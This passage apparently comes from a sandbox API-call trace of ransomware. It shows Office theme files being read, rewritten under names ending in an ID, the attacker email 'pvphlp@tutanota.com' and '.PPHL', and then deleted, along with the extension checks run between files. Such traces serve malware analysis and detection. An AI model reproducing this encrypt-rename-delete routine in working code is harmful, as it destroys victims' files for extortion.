lpNumberOfBytesWritten=0x2a3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0077.874] SetEndOfFile (hFile=0x1f8) returned 1 [0077.874] CloseHandle (hObject=0x1f8) returned 1 [0077.874] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.874] SetEndOfFile (hFile=0x21c) returned 1 [0077.875] CloseHandle (hObject=0x21c) returned 1 [0077.875] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0077.875] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif")) returned 1 [0077.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0077.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0077.875] lstrlenW (lpString=".doc") returned 4 [0077.875] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0077.875] lstrlenW (lpString=".docx") returned 5 [0077.875] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0077.875] lstrlenW (lpString=".pdf") returned 4 [0077.875] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0077.875] lstrlenW (lpString=".xls") returned 4 [0077.875] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0077.875] lstrlenW (lpString=".xlsx") returned 5 [0077.876] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0077.876] lstrlenW (lpString=".ppt") returned 4 [0077.876] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0077.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0077.876] lstrlenW (lpString=".zip") returned 4 [0077.876] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0077.876] lstrlenW (lpString=".rar") returned 4 [0077.876] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0077.876] lstrlenW (lpString=".bz2") returned 4 [0077.876] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0077.876] lstrlenW (lpString=".7z") returned 3 [0077.876] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0077.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0077.876] lstrlenW (lpString=".dbf") returned 4 [0077.876] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0077.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0077.876] lstrlenW (lpString=".1cd") returned 4 [0077.876] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0077.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0077.876] lstrlenW (lpString=".jpg") returned 4 [0077.876] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0077.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0077.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0077.876] lstrlenW (lpString=".doc") returned 4 [0077.876] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0077.876] lstrlenW (lpString=".docx") returned 5 [0077.876] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0077.876] lstrlenW (lpString=".pdf") returned 4 [0077.876] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0077.876] lstrlenW (lpString=".xls") returned 4 [0077.876] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0077.876] lstrlenW (lpString=".xlsx") returned 5 [0077.877] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0077.877] lstrlenW (lpString=".ppt") returned 4 [0077.877] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0077.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0077.877] lstrlenW (lpString=".zip") returned 4 [0077.877] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0077.877] lstrlenW (lpString=".rar") returned 4 [0077.877] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0077.877] lstrlenW (lpString=".bz2") returned 4 [0077.877] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0077.877] lstrlenW (lpString=".7z") returned 3 [0077.877] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0077.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0077.877] lstrlenW (lpString=".dbf") returned 4 [0077.877] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0077.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0077.877] lstrlenW (lpString=".1cd") returned 4 [0077.877] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0077.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0077.877] lstrlenW (lpString=".jpg") returned 4 [0077.877] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0077.877] lstrcmpiW (lpString1=".PNG", lpString2=".PPHL") returned -1 [0077.877] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0077.877] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0077.878] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=18817) returned 1 [0077.878] CloseHandle (hObject=0x21c) returned 1 [0077.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png")) returned 0x20 [0077.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0077.878] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0077.878] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.878] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.878] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0077.878] GetLastError () returned 0x0 [0077.878] ReadFile (in: hFile=0x21c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x4981, lpOverlapped=0x0) returned 1 [0078.070] WriteFile (in: hFile=0x1f8, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0x4990, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x4990, lpOverlapped=0x0) returned 1 [0078.071] ReadFile (in: hFile=0x21c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0078.071] WriteFile (in: hFile=0x1f8, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0078.071] SetEndOfFile (hFile=0x1f8) returned 1 [0078.071] CloseHandle (hObject=0x1f8) returned 1 [0078.071] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.071] SetEndOfFile (hFile=0x21c) returned 1 [0078.098] CloseHandle (hObject=0x21c) returned 1 [0078.098] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0078.099] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png")) returned 1 [0078.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0078.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0078.099] lstrlenW (lpString=".doc") returned 4 [0078.099] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0078.099] lstrlenW (lpString=".docx") returned 5 [0078.099] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0078.099] lstrlenW (lpString=".pdf") returned 4 [0078.099] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0078.099] lstrlenW (lpString=".xls") returned 4 [0078.099] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0078.099] lstrlenW (lpString=".xlsx") returned 5 [0078.099] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0078.099] lstrlenW (lpString=".ppt") returned 4 [0078.099] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0078.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0078.099] lstrlenW (lpString=".zip") returned 4 [0078.099] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0078.099] lstrlenW (lpString=".rar") returned 4 [0078.099] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0078.099] lstrlenW (lpString=".bz2") returned 4 [0078.099] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0078.099] lstrlenW (lpString=".7z") returned 3 [0078.099] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0078.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0078.099] lstrlenW (lpString=".dbf") returned 4 [0078.099] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0078.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0078.100] lstrlenW (lpString=".1cd") returned 4 [0078.100] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0078.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0078.100] lstrlenW (lpString=".jpg") returned 4 [0078.100] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0078.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0078.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0078.100] lstrlenW (lpString=".doc") returned 4 [0078.100] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0078.100] lstrlenW (lpString=".docx") returned 5 [0078.100] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0078.100] lstrlenW (lpString=".pdf") returned 4 [0078.100] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0078.100] lstrlenW (lpString=".xls") returned 4 [0078.100] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0078.100] lstrlenW (lpString=".xlsx") returned 5 [0078.100] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0078.100] lstrlenW (lpString=".ppt") returned 4 [0078.100] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0078.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0078.100] lstrlenW (lpString=".zip") returned 4 [0078.100] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0078.100] lstrlenW (lpString=".rar") returned 4 [0078.100] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0078.100] lstrlenW (lpString=".bz2") returned 4 [0078.100] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0078.100] lstrlenW (lpString=".7z") returned 3 [0078.100] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0078.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0078.100] lstrlenW (lpString=".dbf") returned 4 [0078.100] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0078.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0078.100] lstrlenW (lpString=".1cd") returned 4 [0078.100] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0078.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0078.101] lstrlenW (lpString=".jpg") returned 4 [0078.101] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0078.101] lstrcmpiW (lpString1=".PNG", lpString2=".PPHL") returned -1 [0078.101] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0078.101] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0078.718] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=48115) returned 1 [0078.719] CloseHandle (hObject=0x20c) returned 1 [0078.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png")) returned 0x20 [0078.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0078.719] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0078.719] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.719] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.719] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0078.719] GetLastError () returned 0x0 [0078.719] ReadFile (in: hFile=0x20c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0xbbf3, lpOverlapped=0x0) returned 1 [0078.721] WriteFile (in: hFile=0x1b0, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xbc00, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xbc00, lpOverlapped=0x0) returned 1 [0078.723] ReadFile (in: hFile=0x20c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0078.723] WriteFile (in: hFile=0x1b0, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0078.723] SetEndOfFile (hFile=0x1b0) returned 1 [0078.723] CloseHandle (hObject=0x1b0) returned 1 [0078.725] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.725] SetEndOfFile (hFile=0x20c) returned 1 [0078.726] CloseHandle (hObject=0x20c) returned 1 [0078.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0078.726] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png")) returned 1 [0078.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0078.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0078.727] lstrlenW (lpString=".doc") returned 4 [0078.727] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0078.727] lstrlenW (lpString=".docx") returned 5 [0078.727] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0078.727] lstrlenW (lpString=".pdf") returned 4 [0078.727] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0078.727] lstrlenW (lpString=".xls") returned 4 [0078.727] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0078.727] lstrlenW (lpString=".xlsx") returned 5 [0078.727] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0078.727] lstrlenW (lpString=".ppt") returned 4 [0078.727] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0078.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0078.727] lstrlenW (lpString=".zip") returned 4 [0078.727] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0078.727] lstrlenW (lpString=".rar") returned 4 [0078.727] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0078.727] lstrlenW (lpString=".bz2") returned 4 [0078.727] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0078.727] lstrlenW (lpString=".7z") returned 3 [0078.727] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0078.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0078.727] lstrlenW (lpString=".dbf") returned 4 [0078.727] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0078.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0078.727] lstrlenW (lpString=".1cd") returned 4 [0078.727] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0078.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0078.727] lstrlenW (lpString=".jpg") returned 4 [0078.727] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0078.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0078.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0078.727] lstrlenW (lpString=".doc") returned 4 [0078.727] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0078.728] lstrlenW (lpString=".docx") returned 5 [0078.728] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0078.728] lstrlenW (lpString=".pdf") returned 4 [0078.728] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0078.728] lstrlenW (lpString=".xls") returned 4 [0078.728] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0078.728] lstrlenW (lpString=".xlsx") returned 5 [0078.728] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0078.728] lstrlenW (lpString=".ppt") returned 4 [0078.728] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0078.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0078.728] lstrlenW (lpString=".zip") returned 4 [0078.728] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0078.728] lstrlenW (lpString=".rar") returned 4 [0078.728] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0078.728] lstrlenW (lpString=".bz2") returned 4 [0078.728] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0078.728] lstrlenW (lpString=".7z") returned 3 [0078.728] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0078.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0078.728] lstrlenW (lpString=".dbf") returned 4 [0078.728] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0078.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0078.728] lstrlenW (lpString=".1cd") returned 4 [0078.728] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0078.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0078.728] lstrlenW (lpString=".jpg") returned 4 [0078.728] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0078.728] lstrcmpiW (lpString1=".GIF", lpString2=".PPHL") returned -1 [0078.728] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0078.728] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0078.729] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=1593) returned 1 [0078.729] CloseHandle (hObject=0x20c) returned 1 [0078.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif")) returned 0x20 [0078.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0078.729] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0078.729] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.729] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.729] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0078.758] GetLastError () returned 0x0 [0078.758] ReadFile (in: hFile=0x20c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x639, lpOverlapped=0x0) returned 1 [0078.760] WriteFile (in: hFile=0x1fc, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x640, lpOverlapped=0x0) returned 1 [0078.761] ReadFile (in: hFile=0x20c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0078.762] WriteFile (in: hFile=0x1fc, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: 